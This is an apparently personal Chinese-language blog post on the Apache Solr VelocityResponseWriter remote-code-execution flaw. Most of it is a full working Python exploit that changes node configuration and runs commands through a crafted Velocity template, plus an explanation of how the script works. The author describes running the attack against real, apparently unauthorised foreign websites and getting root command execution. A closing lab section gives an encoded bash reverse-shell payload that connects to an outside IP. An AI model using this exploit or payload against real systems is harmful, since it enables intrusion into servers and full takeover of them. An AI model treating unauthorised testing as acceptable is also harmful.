Solr簡單介紹
Solr是建立在Apache Lucene ™之上的一個流行、快速、開放源代碼的企業搜索平台。
Solr具有高度的可靠性,可伸縮性和容錯能力,可提供分布式索引,復制和負載平衡查詢,自動故障轉移和恢復,集中式配置等。Solr為許多世界上最大的互聯網站點提供搜索和導航功能。
漏洞介紹
該漏洞的產生是由於兩方面的原因:
當攻擊者可以直接訪問Solr控制台時,可以通過發送類似/節點名/config的POST請求對該節點的配置文件做更改。
Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定模版,默認設置是false。
當設置params.resource.loader.enabled為true時,將允許用戶通過設置請求中的參數來指定相關資源的加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行。(來自360CERT)
影響范圍:5.x - 8.2.0
需要具有config api
漏洞復現
翻了挺久,很多站都是沒有core admin中的用戶(自我理解),或是有的站已經有所防護,開啟了密碼驗證,測試了很多站,發現一個外國的一個站可以完美復現。(純屬自己不喜歡手動搭建)
GET請求訪問config
/solr/用戶名/config

post請求poc驗證


poc成功
GET請求RCE poc


很幸運,solr進程是以root用戶權限執行的,一般應該是solr權限。

只能執行一個命令,ls,pwd,whoami,id等單個命令。遺憾,不懂java,不知道是不是可以改成完整RCE的exp
剛出爐的py_exp
"""
auth: @l3_W0ng
version: 1.0
function: Apache Solr RCE via Velocity template
usage: python3 script.py ip [port [command]]
default port=8983
default command=whoami
note:
Step1: Init Apache Solr Configuration
Step2: Remote Exec in Every Solr Node
"""
import sys
import json
import time
import requests
class initSolr(object):
timestamp_s = str(time.time()).split('.')
timestamp = timestamp_s[0] + timestamp_s[1][0:-3]
def __init__(self, ip, port):
self.ip = ip
self.port = port
def get_nodes(self):
payload = {
'_': self.timestamp,
'indexInfo': 'false',
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/cores'
try:
nodes_info = requests.get(url, params=payload, timeout=5)
node = list(nodes_info.json()['status'].keys())
state = 1
except:
node = ''
state = 0
if node:
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
else:
return {
'node': None,
'state': state,
'msg': 'Get Nodes Failed'
}
def get_system(self):
payload = {
'_': self.timestamp,
'wt': 'json'
}
url = 'http://' + self.ip + ':' + self.port + '/solr/admin/info/system'
try:
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1
except:
os_name = ''
os_uname = ''
os_version = ''
state = 0
return {
'system': {
'name': os_name,
'uname': os_uname,
'version': os_version,
'state': state
}
}
class apacheSolrRCE(object):
def __init__(self, ip, port, node, command):
self.ip = ip
self.port = port
self.node = node
self.command = command
self.url = "http://" + self.ip + ':' + self.port + '/solr/' + self.node
def init_node_config(self):
url = self.url + '/config'
payload = {
'update-queryresponsewriter': {
'startup': 'lazy',
'name': 'velocity',
'class': 'solr.VelocityResponseWriter',
'template.base.dir': '',
'solr.resource.loader.enabled': 'true',
'params.resource.loader.enabled': 'true'
}
}
try:
res = requests.post(url=url, data=json.dumps(payload), timeout=5)
if res.status_code == 200:
return {
'init': 'Init node config successfully',
'state': 1
}
else:
return {
'init': 'Init node config failed',
'state': 0
}
except:
return {
'init': 'Init node config failed',
'state': 0
}
def rce(self):
url = self.url + ("/select?q=1&&wt=velocity&v.template=custom&v.template.custom="
"%23set($x=%27%27)+"
"%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+"
"%23set($chr=$x.class.forName(%27java.lang.Character%27))+"
"%23set($str=$x.class.forName(%27java.lang.String%27))+"
"%23set($ex=$rt.getRuntime().exec(%27" + self.command +
"%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+"
"%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end")
try:
res = requests.get(url=url, timeout=5)
if res.status_code == 200:
try:
if res.json()['responseHeader']['status'] == '0':
return 'RCE failed @Apache Solr node %s\n' % self.node
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE Successfully @Apache Solr node %s\n %s\n' % (self.node, res.text.strip().strip('0'))
else:
return 'RCE failed @Apache Solr node %s\n' % self.node
except:
return 'RCE failed @Apache Solr node %s\n' % self.node
def check(ip, port='8983', command='whoami'):
system = initSolr(ip=ip, port=port)
if system.get_nodes()['state'] == 0:
print('No Nodes Found. Remote Exec Failed!')
else:
nodes = system.get_nodes()['node']
systeminfo = system.get_system()
os_name = systeminfo['system']['name']
os_version = systeminfo['system']['version']
print('OS Realese: %s, OS Version: %s\nif remote exec failed, '
'you should change your command with right os platform\n' % (os_name, os_version))
for node in nodes:
res = apacheSolrRCE(ip=ip, port=port, node=node, command=command)
init_node_config = res.init_node_config()
if init_node_config['state'] == 1:
print('Init node %s Successfully, exec command=%s' % (node, command))
result = res.rce()
print(result)
else:
print('Init node %s Failed, Remote Exec Failed\n' % node)
if __name__ == '__main__':
usage = ('python3 script.py ip [port [command]]\n '
'\t\tdefault port=8983\n '
'\t\tdefault command=whoami')
if len(sys.argv) == 4:
ip = sys.argv[1]
port = sys.argv[2]
command = sys.argv[3]
check(ip=ip, port=port, command=command)
elif len(sys.argv) == 3:
ip = sys.argv[1]
port = sys.argv[2]
check(ip=ip, port=port)
elif len(sys.argv) == 2:
ip = sys.argv[1]
check(ip=ip)
else:
print('Usage: %s:\n' % usage)
分析下exp.py,通過訪問/solr/admin/cores獲取返回的json()對象中的['status']
list(nodes_info.json()['status'].keys())

然后在通過字典方法keys,返回所有的鍵。

然后在initSolr中get_nodes返回一個字典,講獲取的兩個node名,作為'node'的鍵值
return {
'node': node,
'state': state,
'msg': 'Get Nodes Successfully'
}
然后就是通過/solr/admin/info/system獲取主機的相關信息
system_info = requests.get(url=url, params=payload, timeout=5)
os_name = system_info.json()['system']['name']
os_uname = system_info.json()['system']['uname']
os_version = system_info.json()['system']['version']
state = 1
最后調用rce方法,將poc的get和post帶上,迭代數組中的兩個node(不一定就是兩個,視主機情況而定)嘗試RCE,然后獲取返回值
pyexp實驗如下:

只能執行單個命令,無法執行帶空格的命令。比如ls -l ,cat xxx等
總結
- 這里分析,只是覺得想知道py_exp的運行方式和獲取node的具體方式。真得很佩服能通過poc快速編寫exp的能力的大佬,膜拜。希望有朝一日,也有如此的快速編寫py腳本能力。
- 自我能力有限,並且不懂java,不知道是否可以真正的RCE,現在的版本,在我的認知里,只能做到whoami,id,pwd,lastlog等單個命令,做不到帶空格的命令。本來想嘗試passwd的,想想算了,萬一搞破壞了,多不好,雖然都是外國站。
二次復現之反彈shell
今天看到了可以反彈shell的命令,所以嘗試一波
利用vulnhub的環境復現
/vulhub/solr/CVE-2019-0193/
docker-compose up -d
docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
搭建成功

再好好的復現一遍。
發現不能單純的靠空格來,因為是直接用的get傳數據,所以得加個%20或者+號作為空格。post數據是已經url編碼過的,所以需要將我們的命令再urlencode的一遍即可。

經過很多搜索發現,java的RCE中反彈shell的payload很多都會修改成SpEL語句,即Spring表達式語言(本人對java知之甚少)
反彈shell payload:
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQxLjEvOTk5OSAwPiYx|{base64,-d}|{bash,-i}
再進行urlencode一次就可以了。
exp直接可以反彈到shell。這里不實驗了。擼作業了。
